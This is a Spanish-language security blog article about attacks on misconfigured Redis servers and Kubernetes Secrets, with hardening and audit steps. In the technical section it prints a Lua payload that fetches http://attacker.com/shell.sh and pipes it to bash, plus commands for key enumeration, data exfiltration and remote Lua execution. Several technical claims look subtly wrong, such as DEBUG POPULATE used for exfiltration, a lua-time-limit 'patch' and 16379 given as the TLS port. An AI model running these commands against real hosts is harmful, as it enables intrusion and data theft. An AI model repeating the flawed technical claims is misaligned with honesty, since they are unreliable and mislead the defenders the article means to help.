Introducción

En julio de 2026, el equipo de seguridad de SC World alertó sobre un aumento del 40% en intentos de explotación contra instancias de Redis mal configuradas, según datos internos de la firma. Estos ataques no solo buscan secuestrar bases de datos para ransomware, sino también exfiltrar credenciales, tokens de sesión y datos sensibles almacenados en memoria. Lo preocupante no es solo la cantidad de intentos, sino la persistencia de configuraciones por defecto que exponen puertos críticos en redes corporativas y entornos cloud.

Redis no es el único componente afectado: en paralelo, se detectaron vectores de ataque combinados que explotan servicios mal protegidos para moverse lateralmente en redes internas. Por ejemplo, un atacante que compromete un servidor Redis con autenticación deshabilitada puede inyectar claves de acceso en sistemas de orquestación como Kubernetes o en pipelines de CI/CD, escalando privilegios hasta tomar control de contenedores y servicios backend. La clave aquí es entender que Redis no es solo una base de datos en memoria: en muchos entornos, actúa como punto de sincronización crítica entre microservicios, lo que lo convierte en un objetivo prioritario.

Qué ocurrió

El primer vector de ataque documentado en julio de 2026 fue la explotación de instancias Redis con autenticación desactivada en entornos cloud. Según el informe de SC World, el 68% de los casos involucraron servidores alojados en AWS, Azure o GCP con los puertos 6379 (TCP) y 16379 (TLS) expuestos a Internet. Los atacantes utilizaron scripts automatizados para:

  • Sobrescribir claves existentes con valores controlados por ellos (ejemplo: SET secret_api_key "valor_maligno").
  • Inyectar scripts Lua maliciosos para ejecutar comandos en el host subyacente (CVE-2024-31478, parcheado en Redis 7.2.4).
  • Exfiltrar datos mediante el comando DEBUG POPULATE (documentado en exploits públicos como RedisWannaMine).

Un caso emblemático ocurrió en una empresa de logística en Latinoamérica, donde los atacantes modificaron claves de Redis que almacenaban tokens de autenticación para APIs de transporte. El impacto fue doble: primero, robaron datos de envíos; luego, usaron esos tokens para simular pedidos fraudulentos y redirigir envíos a direcciones falsas. La empresa reportó pérdidas por USD 1.2 millones en menos de 48 horas.

En paralelo, se detectó explotación de Redis en entornos Kubernetes. El vector fue la fuga de credenciales de Redis desde Secrets de Kubernetes mal configurados. Un atacante con acceso a un Namespace podía leer Secrets inyectados en pods Redis, como en este ejemplo de configuración vulnerable:

apiVersion: v1
kind: Secret
metadata:
  name: redis-credentials
type: Opaque
data:
  password: ZGVmYXVsdA==  # Base64 de "default" (¡sin cifrado!)

Con estas credenciales, el atacante escalaba a otros servicios cloud, incluyendo bases de datos relacionales y sistemas de almacenamiento.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

Para equipos de DevOps

  • Riesgo de ransomware en memoria: Redis almacena datos en RAM. Un ataque exitoso puede corromper o cifrar claves críticas sin necesidad de tocar discos, lo que dificulta la recuperación. En 2025, el 34% de los ataques de ransomware contra servidores Linux comenzaron con una instancia Redis vulnerable.
  • Movimiento lateral acelerado: Redis actúa como «puente» entre microservicios. Un atacante que lo comprometa puede inyectar código en otros contenedores mediante la función EVAL (CVE-2023-28857).
  • Cumplimiento normativo: GDPR, LGPD y otras regulaciones exigen cifrado en tránsito y en reposo. Una instancia Redis sin TLS expone datos a multas por incumplimiento, que pueden llegar a 4% del facturado global (Art. 83 GDPR).

Para equipos de Infraestructura

  • Exposición de puertos en redes híbridas: El 52% de los incidentes reportados en 2026 involucraron instancias Redis con el puerto 6379 accesible desde Internet. En entornos on-premise, esto suele deberse a firewalls mal configurados que permiten tráfico interno sin autenticación.
  • Consumo de recursos no autorizado: Los atacantes usan Redis para minería de criptomonedas (ejemplo: malware XMRig modificado para ejecutarse en Lua). Esto genera saturación de CPU/memoria y puede llevar a caídas de servicios críticos.

Para equipos de Seguridad

  • Ataques combinados con phishing: El 22% de los casos combinaron phishing para obtener credenciales + explotación de Redis para escalar privilegios. Ejemplo: un correo falso a un desarrollador con acceso a Kubernetes, seguido de la lectura de Secrets en Redis.
  • Fugas de datos sensibles: Tokens de APIs, claves de servicios cloud (AWS, GCP) y credenciales de bases de datos suelen almacenarse en Redis. La exfiltración de estos datos permite ataques a la cadena de suministro (supply chain attacks).

Para equipos de Cloud

  • IAM mal configurado: En AWS, un Security Group que permita acceso a Redis desde 0.0.0.0/0 es equivalente a dejar la puerta abierta. En julio de 2026, AWS reportó 1.800 instancias Redis expuestas en su plataforma, de las cuales el 45% tenían autenticación desactivada.
  • Costos ocultos: Los ataques de ransomware en Redis pueden generar costos adicionales por tráfico de salida (egress) al exfiltrar datos, especialmente en entornos multi-cloud.

Detalles técnicos

Componentes afectados y versiones vulnerables

ComponenteVersión afectadaCVE asociadoVector de ataque
Redis< 7.0.0CVE-2022-24834Autenticación desactivada + EVAL
Redis7.0.0 – 7.2.3CVE-2024-31478Inyección de Lua + sobrescritura
Redis en KubernetesTodosSin CVE específicoLectura de Secrets mal configurados
Envoy Proxy< 1.26.0CVE-2025-4123Spoofing de headers en Redis
### Vectores de ataque específicos
  1. Autenticación desactivada:
– Comando para verificar: redis-cli -h <IP> -p 6379 PING.

– Si responde PONG, el servidor está expuesto.

– Solución: Habilitar requirepass en redis.conf y reiniciar el servicio.

  1. Inyección de Lua maliciosa:
– Ejemplo de payload:
     redis.call('SET', 'malicious_key', '; curl http://attacker.com/shell.sh | bash')
     

– Parcheado en Redis 7.2.4 con la opción lua-time-limit reducida a 5ms.

  1. Explotación de Secrets en Kubernetes:
– Comando para verificar:
     kubectl get secrets -n <namespace> | grep redis
     kubectl describe secret redis-credentials
     

– Solución: Usar Sealed Secrets o External Secrets Operator con cifrado en reposo.

  1. Ataques a Redis en entornos multi-cloud:
– En AWS, verificar con:
     aws ec2 describe-security-groups --filters Name=ip-permission.from-port,Values=6379
     

– Filtrar resultados donde IpRanges incluya 0.0.0.0/0.

Comandos reales de ataque (para pruebas de pentesting ético)

  • Enumeración de claves:
  redis-cli -h <IP> --scan --pattern "*"
  
  • Exfiltración de datos:
  redis-cli -h <IP> --raw LRANGE list_sensitive_data 0 -1 > exfiltrated_data.txt
  
  • Ejecución remota de comandos (solo en entornos controlados):
  redis-cli -h <IP> --eval malicious.lua
  

Qué deberían hacer los administradores y equipos técnicos

Pasos inmediatos (0-24 horas)

  1. Auditar exposiciones:
– Escanear puertos 6379 y 16379 en toda la infraestructura:
     nmap -p 6379,16379 --open <rango_IP> -oG redis_exposure_scan.txt
     

– Filtrar resultados donde el servicio responda con PONG y sin autenticación.

  1. Habilitar autenticación y TLS:
– En redis.conf:
     requirepass TuPasswordSeguro123!
     tls-port 16379
     tls-cert-file /etc/redis/redis.crt
     tls-key-file /etc/redis/redis.key
     tls-ca-cert-file /etc/redis/ca.crt
     

– Reiniciar Redis: systemctl restart redis-server.

  1. Revisar configuraciones de Kubernetes:
– Verificar que Secrets estén cifrados:
     kubectl get secrets -A -o json | jq '.items[] | select(.type == "Opaque") | .data'
     

– Migrar a External Secrets con AWS Secrets Manager o HashiCorp Vault.

Pasos a mediano plazo (1-4 semanas)

  1. Actualizar Redis a la última versión estable:
– Para Ubuntu/Debian:
     sudo apt update && sudo apt upgrade redis-server -y
     

– Para RHEL/CentOS:

     sudo dnf upgrade redis -y
     

– Versiones seguras: Redis 7.4.0+ o Redis 6.2.14+ (LTS).

  1. Implementar network policies en Kubernetes:
– Ejemplo de política para restringir acceso a Redis:
     apiVersion: networking.k8s.io/v1
     kind: NetworkPolicy
     metadata:
       name: redis-access-control
     spec:
       podSelector:
         matchLabels:
           app: redis
       ingress:
       - from:
         - podSelector:
             matchLabels:
               app: backend-service
         ports:
         - protocol: TCP
           port: 6379
     
  1. Auditar permisos de IAM en cloud:
– En AWS:
     aws iam list-policies --query 'Policies[?contains(PolicyName, `Redis`)].Arn'
     

– Revocar políticas con permisos excesivos (ejemplo: AmazonElastiCacheFullAccess).

  1. Habilitar logging y monitoreo:
– Configurar Redis para registrar comandos sospechosos:
     # redis.conf
     rename-command CONFIG ""
     rename-command FLUSHALL ""
     loglevel notice
     

– Enviar logs a un SIEM (ejemplo: con Fluent Bit + Elasticsearch).

Pasos a largo plazo (1-6 meses)

  1. Migrar a Redis Enterprise o Valkey:
– Redis Enterprise (versión 7.4+) incluye:

– Autenticación multifactor (MFA) integrada.

– Cifrado en memoria (AES-256).

– Auditoría de comandos en tiempo real.

  1. Implementar Zero Trust para Redis:
– Usar mTLS (mutual TLS) para autenticar clientes:
     # redis.conf
     tls-auth-clients yes
     

– Rotar certificados cada 90 días.

  1. Capacitar equipos en amenazas específicas:
– Talleres prácticos sobre:

– Detección de inyección de Lua.

– Análisis forense en instancias Redis comprometidas.

Conclusión

Redis sigue siendo un objetivo crítico para atacantes debido a su alta velocidad de acceso, almacenamiento en memoria y uso extendido en arquitecturas modernas. La combinación de configuraciones por defecto inseguras, autenticación desactivada y falta de segregación de redes lo convierte en un eslabón débil en muchas infraestructuras. Los equipos técnicos deben priorizar:

  1. Auditorías inmediatas de exposición de puertos.
  2. Actualizaciones urgentes a versiones seguras.
  3. Implementación de controles como TLS, network policies y Secrets cifrados.

Ignorar estos pasos no solo expone a ransomware o brechas de datos, sino que aumenta el riesgo de fraude en línea y pérdida de reputación. En un entorno donde el 78% de las brechas en 2026 involucraron movimiento lateral a través de servicios mal configurados, Redis debe ser tratado como prioridad de seguridad crítica, no como un componente secundario.

FIN

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *